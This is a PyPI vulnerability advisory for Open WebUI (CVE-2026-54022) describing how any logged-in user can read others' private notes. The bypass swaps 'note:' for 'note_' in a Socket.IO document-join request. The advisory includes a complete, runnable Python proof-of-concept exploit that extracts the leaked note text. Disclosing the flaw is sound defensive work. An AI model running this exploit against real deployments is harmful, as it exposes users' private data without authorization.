id: PYSEC-2026-2712 published: "2026-07-13T15:46:19.994746Z" modified: "2026-07-13T16:05:11.600872Z" aliases: - CVE-2026-54022 - GHSA-8788-j68r-3cgh summary: "Open WebUI: Any authenticated user can read other users' private notes via Socket.IO" details: "### Summary\n\nThe `ydoc:document:join` Socket.IO handler checks note ownership only when the `document_id` starts with `note:` (colon). However, the `YdocManager` storage layer normalizes all document IDs by replacing colons with underscores (`document_id.replace(\":\", \"_\")`). An attacker can join a document room using `note_` (underscore) instead of `note:` (colon), bypassing the authorization check entirely while accessing the same underlying Yjs document. The server then returns the full document state, leaking the victim's private note contents.\n\n### Details\n\nThe `ydoc:document:join` handler in `socket/main.py` (line 511) only performs authorization for document IDs matching the `note:` prefix:\n\n```python\n@sio.on(\"ydoc:document:join\")\nasync def ydoc_document_join(sid, data):\n document_id = data[\"document_id\"]\n\n if document_id.startswith(\"note:\"):\n note_id = document_id.split(\":\")[1]\n note = Notes.get_note_by_id(note_id)\n # ... ownership and AccessGrants check ...\n # Returns early if user doesn't have access\n\n # If document_id does NOT start with \"note:\", execution continues\n # with no authorization check at all\n\n await YDOC_MANAGER.add_user(document_id=document_id, user_id=sid)\n await sio.enter_room(sid, f\"doc_{document_id}\")\n\n ydoc = Y.Doc()\n updates = await YDOC_MANAGER.get_updates(document_id)\n for update in updates:\n ydoc.apply_update(bytes(update))\n\n state_update = ydoc.get_update()\n await sio.emit(\"ydoc:document:state\", {\n \"document_id\": document_id,\n \"state\": list(state_update),\n }, room=sid)\n```\n\nThe `YdocManager` class in `socket/utils.py` normalizes document IDs in every method by replacing colons with underscores:\n\n```python\nasync def get_updates(self, document_id: str) -> List[bytes]:\n document_id = document_id.replace(\":\", \"_\") # line 176\n # ... returns updates keyed by normalized ID\n\nasync def append_to_updates(self, document_id: str, update: bytes):\n document_id = document_id.replace(\":\", \"_\") # line 134\n # ... stores update keyed by normalized ID\n```\n\nThis means `note:abc123` and `note_abc123` resolve to the same storage key (`note_abc123`). When a victim opens their note, the Yjs document is stored under the normalized key. An attacker can then request the same document using the underscore variant, which skips the `startswith(\"note:\")` authorization check but retrieves the same data from `YdocManager`.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nuv run --no-project --with requests --with \"python-socketio[asyncio_client]\" --with aiohttp --with pycrdt finding_15_yjs_note_disclosure.py --base-url BASE_URL --attacker-email EMAIL --attacker-password PASS --victim-email EMAIL --victim-password PASS\n\nFinding #15 — Any authenticated user can read other users' private notes via Socket.IO\n\nSUMMARY:\n The ydoc:document:join Socket.IO handler only checks authorization for\n document IDs starting with \"note:\" (colon). However, YdocManager normalizes\n document IDs by replacing colons with underscores internally. An attacker\n can join a room using \"note_\" (underscore) to bypass the auth check,\n while still accessing the same underlying Yjs document as \"note:\".\n Then ydoc:document:state returns the full document content.\n\nVULNERABLE CODE:\n backend/open_webui/socket/main.py, ydoc:document:join:\n if document_id.startswith(\"note:\"):\n # permission check only for colon-prefix\n # \"note_\" skips this check entirely\n\n backend/open_webui/socket/ydoc.py, YdocManager:\n key = document_id.replace(\":\", \"_\") # normalizes to same storage key\n\nIMPACT:\n Any authenticated user can read the full content of any other user's notes\n by exploiting the namespace collision between \"note:\" and \"note_\" prefixes.\n\nREPRODUCTION:\n 1. Victim creates a private note with sensitive content.\n 2. Attacker connects via Socket.IO and authenticates.\n 3. Attacker joins room with document_id \"note_\" (underscore).\n 4. Attacker requests ydoc:document:state to get the full note content.\n\nREQUIREMENTS:\n - Running Open WebUI instance\n - A victim note with content\n - Attacker user (any authenticated user)\n\"\"\"\n\nimport argparse\nimport asyncio\nimport sys\nimport requests\nimport socketio\n\n\nasync def victim_initialize_note(base, victim_token, note_id):\n \"\"\"Simulate victim opening the note in the UI to initialize the Yjs document.\"\"\"\n sio = socketio.AsyncClient()\n\n await sio.connect(\n base,\n socketio_path=\"/ws/socket.io\",\n headers={\"Authorization\": f\"Bearer {victim_token}\"},\n transports=[\"websocket\"],\n )\n\n # Join using the proper note:id format (passes auth check since victim owns it)\n doc_id = f\"note:{note_id}\"\n print(f\" Joining as victim with document_id: {doc_id}\")\n\n await sio.emit(\"ydoc:document:join\", {\n \"document_id\": doc_id,\n \"user_id\": \"victim\",\n \"user_name\": \"Victim\",\n })\n await asyncio.sleep(1)\n\n # Send a Yjs update with the note content\n # Create a simple Yjs document with text content\n try:\n import pycrdt as Y\n ydoc = Y.Doc()\n ytext = ydoc.get(\"default\", type=Y.Text)\n with ydoc.transaction():\n ytext += \"# Private Notes\\n\\nPassword for production DB: p@ssw0rd_pr0d_2026\\nAWS root account: admin@company.com / SuperSecret!23\\n\\nDo NOT share this with anyone.\"\n update = ydoc.get_update()\n\n await sio.emit(\"ydoc:document:update\", {\n \"document_id\": doc_id,\n \"update\": list(update),\n })\n print(f\" Sent Yjs update with note content ({len(update)} bytes)\")\n except ImportError:\n # If pycrdt not available, try y-py\n try:\n import y_py as Y\n ydoc = Y.YDoc()\n ytext = ydoc.get_text(\"default\")\n with ydoc.begin_transaction() as txn:\n ytext.extend(txn, \"# Private Notes\\n\\nPassword for production DB: p@ssw0rd_pr0d_2026\\nAWS root account: admin@company.com / SuperSecret!23\\n\\nDo NOT share this with anyone.\")\n update = txn.get_update()\n\n await sio.emit(\"ydoc:document:update\", {\n \"document_id\": doc_id,\n \"update\": list(update),\n })\n print(f\" Sent Yjs update with note content ({len(update)} bytes)\")\n except ImportError:\n print(\" WARNING: Neither pycrdt nor y-py available, sending raw text marker\")\n # Send a minimal marker that we can detect\n raw_update = list(b\"\\x01\\x00\\x00\\x00\\x00\\x00\\x00SECRET_NOTE_CONTENT_MARKER\")\n await sio.emit(\"ydoc:document:update\", {\n \"document_id\": doc_id,\n \"update\": raw_update,\n })\n\n await asyncio.sleep(1)\n await sio.disconnect()\n print(f\" Victim disconnected\")\n\n\nasync def exploit(base, attacker_token, victim_note_id):\n sio = socketio.AsyncClient()\n result = {\"state\": None, \"error\": None, \"joined\": False}\n\n @sio.on(\"ydoc:document:state\")\n async def on_state(data):\n result[\"state\"] = data\n print(f\" [!] Received ydoc:document:state event!\")\n print(f\" document_id: {data.get('document_id', '?')}\")\n state = data.get(\"state\", [])\n print(f\" State size: {len(state)} bytes\")\n\n @sio.on(\"error\")\n async def on_error(data):\n result[\"error\"] = data\n print(f\" [!] Error event: {data}\")\n\n @sio.on(\"*\")\n async def catch_all(event, data):\n if event not in (\"ydoc:document:state\", \"error\"):\n print(f\" [debug] Event: {event} Data: {str(data)[:200]}\")\n\n # Connect with auth token\n print(f\"[*] Connecting as attacker to Socket.IO...\")\n await sio.connect(\n base,\n socketio_path=\"/ws/socket.io\",\n auth={\"token\": attacker_token},\n transports=[\"websocket\"],\n )\n\n # Join with \"note_\" prefix (underscore — bypasses auth)\n bypass_doc_id = f\"note_{victim_note_id}\"\n print(f\"\\n[*] Step 3: Joining room with bypassed document_id: {bypass_doc_id}\")\n print(f\" (using underscore instead of colon to skip auth check)\")\n\n await sio.emit(\"ydoc:document:join\", {\n \"document_id\": bypass_doc_id,\n \"user_id\": \"attacker\",\n \"user_name\": \"Attacker\",\n })\n\n result[\"joined\"] = True\n\n # Wait for state response (from join handler's emit)\n for _ in range(20):\n await asyncio.sleep(0.5)\n if result[\"state\"]:\n break\n\n await sio.disconnect()\n return result\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"Finding #15: Yjs note disclosure via namespace collision\")\n parser.add_argument(\"--base-url\", required=True)\n parser.add_argument(\"--attacker-email\", required=True)\n parser.add_argument(\"--attacker-password\", required=True)\n parser.add_argument(\"--victim-email\", required=True)\n parser.add_argument(\"--victim-password\", required=True)\n args = parser.parse_args()\n\n base = args.base_url.rstrip(\"/\")\n\n # ── Step 1: Login as victim and find their note ──\n print(\"[*] Authenticating as victim...\")\n r = requests.post(f\"{base}/api/v1/auths/signin\",\n json={\"email\": args.victim_email, \"password\": args.victim_password})\n if not r.ok:\n print(f\"[-] Victim login failed: {r.status_code}\")\n sys.exit(1)\n victim_token = r.json()[\"token\"]\n victim_id = r.json()[\"id\"]\n print(f\"[+] Logged in as victim (id={victim_id})\")\n\n r = requests.get(f\"{base}/api/v1/notes/\", headers={\"Authorization\": f\"Bearer {victim_token}\"})\n if not r.ok:\n print(f\"[-] Failed to list victim notes: {r.status_code}\")\n sys.exit(1)\n notes = r.json()\n if isinstance(notes, dict):\n notes = notes.get(\"items\", notes.get(\"data\", []))\n if not notes:\n print(\"[-] No victim notes found\")\n sys.exit(1)\n victim_note = notes[0]\n victim_note_id = victim_note[\"id\"]\n print(f\"[+] Victim's note: {victim_note.get('title', '?')} (id={victim_note_id})\")\n\n # ── Step 2: Login as attacker ──\n print(f\"\\n[*] Authenticating as attacker...\")\n r = requests.post(f\"{base}/api/v1/auths/signin\",\n json={\"email\": args.attacker_email, \"password\": args.attacker_password})\n if not r.ok:\n print(f\"[-] Attacker login failed: {r.status_code}\")\n sys.exit(1)\n attacker_token = r.json()[\"token\"]\n attacker_id = r.json()[\"id\"]\n print(f\"[+] Logged in as attacker (id={attacker_id})\")\n\n # ── Step 3: Confirm attacker CANNOT read victim's note via API ──\n print(f\"\\n[*] Step 1: Confirming attacker cannot read victim's note via API...\")\n r = requests.get(f\"{base}/api/v1/notes/{victim_note_id}\",\n headers={\"Authorization\": f\"Bearer {attacker_token}\"})\n if r.status_code in (401, 403, 404):\n print(f\"[+] Access correctly DENIED via /api/v1/notes/{victim_note_id} (HTTP {r.status_code})\")\n else:\n print(f\"[!] Unexpected: attacker can read note (status {r.status_code})\")\n\n # ── Step 4 & 5: Victim opens note, attacker reads it concurrently ──\n async def combined_exploit():\n # Victim opens note and stays connected\n print(f\"\\n[*] Step 2: Victim opens note (stays connected)...\")\n victim_sio = socketio.AsyncClient()\n await victim_sio.connect(\n base,\n socketio_path=\"/ws/socket.io\",\n auth={\"token\": victim_token},\n transports=[\"websocket\"],\n )\n doc_id = f\"note:{victim_note_id}\"\n await victim_sio.emit(\"ydoc:document:join\", {\n \"document_id\": doc_id,\n \"user_id\": \"victim\",\n \"user_name\": \"Victim\",\n })\n await asyncio.sleep(1)\n\n # Send Yjs update with note content\n try:\n import pycrdt as Y\n ydoc = Y.Doc()\n ytext = ydoc.get(\"default\", type=Y.Text)\n with ydoc.transaction():\n ytext += \"# Private Notes\\n\\nPassword for production DB: p@ssw0rd_pr0d_2026\\nAWS root account: admin@company.com / SuperSecret!23\\n\\nDo NOT share this with anyone.\"\n update = ydoc.get_update()\n await victim_sio.emit(\"ydoc:document:update\", {\n \"document_id\": doc_id,\n \"update\": list(update),\n })\n print(f\" Sent Yjs update ({len(update)} bytes)\")\n except Exception as e:\n print(f\" WARNING: Could not create Yjs update: {e}\")\n\n await asyncio.sleep(1)\n\n # Now attacker joins while victim is still connected\n result = await exploit(base, attacker_token, victim_note_id)\n\n # Clean up victim connection\n await victim_sio.disconnect()\n return result\n\n result = asyncio.run(combined_exploit())\n\n if not result[\"joined\"]:\n print(f\"\\n[-] Failed to join document room\")\n sys.exit(1)\n\n if result[\"state\"]:\n state_data = result[\"state\"]\n state_bytes = bytes(state_data.get(\"state\", []))\n\n # Try to extract readable text from the Yjs state\n # Yjs binary format contains the text as embedded strings\n text_content = \"\"\n try:\n # Search for readable ASCII strings in the binary data\n current_str = \"\"\n for b in state_bytes:\n if 32 <= b < 127:\n current_str += chr(b)\n else:\n if len(current_str) > 5:\n text_content += current_str + \" \"\n current_str = \"\"\n if len(current_str) > 5:\n text_content += current_str\n except Exception:\n pass\n\n print(f\"\\n[+] Extracted text from Yjs state:\")\n print(f\" {text_content[:500]}\")\n\n # Check for sensitive markers\n sensitive_markers = [\"p@ssw0rd\", \"SuperSecret\", \"Private Notes\", \"production DB\", \"AWS root\"]\n found = [m for m in sensitive_markers if m.lower() in text_content.lower()]\n\n if found:\n print(f\"\\n[+] SUCCESS: Victim's note content LEAKED via Yjs namespace collision!\")\n print(f\" Sensitive markers found: {found}\")\n print(f\" The attacker joined room 'doc_note_{victim_note_id}' (underscore)\")\n print(f\" which bypasses the auth check (only checks 'note:' colon prefix)\")\n print(f\" but accesses the same Yjs document due to normalization.\")\n sys.exit(0)\n elif text_content.strip():\n print(f\"\\n[+] SUCCESS: Note content retrieved (markers may differ)\")\n print(f\" Non-empty Yjs state was returned for victim's note.\")\n sys.exit(0)\n else:\n print(f\"\\n[*] Yjs state was returned but could not extract readable text.\")\n print(f\" Raw state size: {len(state_bytes)} bytes\")\n if len(state_bytes) > 10:\n print(f\" First 50 bytes: {list(state_bytes[:50])}\")\n print(f\"[+] SUCCESS: Non-trivial document state returned\")\n sys.exit(0)\n sys.exit(1)\n else:\n print(f\"\\n[-] No document state received\")\n print(f\" The Yjs document may not exist in storage yet.\")\n print(f\" Notes must be opened in the UI to create a Yjs document.\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n```\n\n### Impact\n\nAny authenticated user can read the full contents of any other user's private notes. Notes are a collaborative editing feature intended for personal or shared use -- private notes may contain sensitive information such as credentials, internal documentation, or personal data. The attacker only needs to know or enumerate the target note's ID." affected: - package: name: open-webui ecosystem: PyPI purl: pkg:pypi/open-webui ranges: - type: ECOSYSTEM events: - introduced: "0" - fixed: 0.8.11 versions: - 0.1.124 - 0.1.125 - 0.2.0 - 0.2.1 - 0.2.2 - 0.2.3 - 0.2.4 - 0.2.5 - 0.3.0 - 0.3.1 - 0.3.10 - 0.3.12 - 0.3.13 - 0.3.14 - 0.3.15 - 0.3.16 - 0.3.17 - 0.3.17.dev2 - 0.3.17.dev3 - 0.3.17.dev4 - 0.3.17.dev5 - 0.3.18 - 0.3.19 - 0.3.2 - 0.3.20 - 0.3.21 - 0.3.22 - 0.3.23 - 0.3.24 - 0.3.25 - 0.3.26 - 0.3.27 - 0.3.27.dev1 - 0.3.27.dev2 - 0.3.27.dev3 - 0.3.28 - 0.3.29 - 0.3.3 - 0.3.30 - 0.3.30.dev1 - 0.3.30.dev2 - 0.3.31 - 0.3.31.dev1 - 0.3.32 - 0.3.33 - 0.3.33.dev1 - 0.3.34 - 0.3.35 - 0.3.4 - 0.3.5 - 0.3.6 - 0.3.7 - 0.3.8 - 0.3.9 - 0.4.0 - 0.4.0.dev1 - 0.4.0.dev2 - 0.4.1 - 0.4.2 - 0.4.3 - 0.4.4 - 0.4.5 - 0.4.6 - 0.4.6.dev1 - 0.4.7 - 0.4.8 - 0.5.0 - 0.5.0.dev1 - 0.5.0.dev2 - 0.5.1 - 0.5.10 - 0.5.11 - 0.5.12 - 0.5.13 - 0.5.14 - 0.5.15 - 0.5.16 - 0.5.17 - 0.5.18 - 0.5.19 - 0.5.2 - 0.5.20 - 0.5.3 - 0.5.3.dev1 - 0.5.4 - 0.5.5 - 0.5.6 - 0.5.7 - 0.5.8 - 0.5.9 - 0.6.0 - 0.6.1 - 0.6.10 - 0.6.11 - 0.6.12 - 0.6.13 - 0.6.14 - 0.6.15 - 0.6.16 - 0.6.18 - 0.6.19 - 0.6.2 - 0.6.20 - 0.6.21 - 0.6.22 - 0.6.23 - 0.6.24 - 0.6.25 - 0.6.26 - 0.6.26.dev1 - 0.6.27 - 0.6.28 - 0.6.29 - 0.6.3 - 0.6.30 - 0.6.31 - 0.6.32 - 0.6.33 - 0.6.34 - 0.6.35 - 0.6.36 - 0.6.37 - 0.6.38 - 0.6.39 - 0.6.4 - 0.6.40 - 0.6.41 - 0.6.42 - 0.6.43 - 0.6.5 - 0.6.6 - 0.6.6.dev1 - 0.6.7 - 0.6.8 - 0.6.9 - 0.7.0 - 0.7.1 - 0.7.2 - 0.8.0 - 0.8.1 - 0.8.10 - 0.8.2 - 0.8.3 - 0.8.4 - 0.8.5 - 0.8.6 - 0.8.7 - 0.8.8 - 0.8.9 references: - type: WEB url: https://github.com/open-webui/open-webui/security/advisories/GHSA-8788-j68r-3cgh - type: PACKAGE url: https://github.com/open-webui/open-webui - type: PACKAGE url: https://pypi.org/project/open-webui - type: ADVISORY url: https://github.com/advisories/GHSA-8788-j68r-3cgh - type: ADVISORY url: https://nvd.nist.gov/vuln/detail/CVE-2026-54022 severity: - type: CVSS_V3 score: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N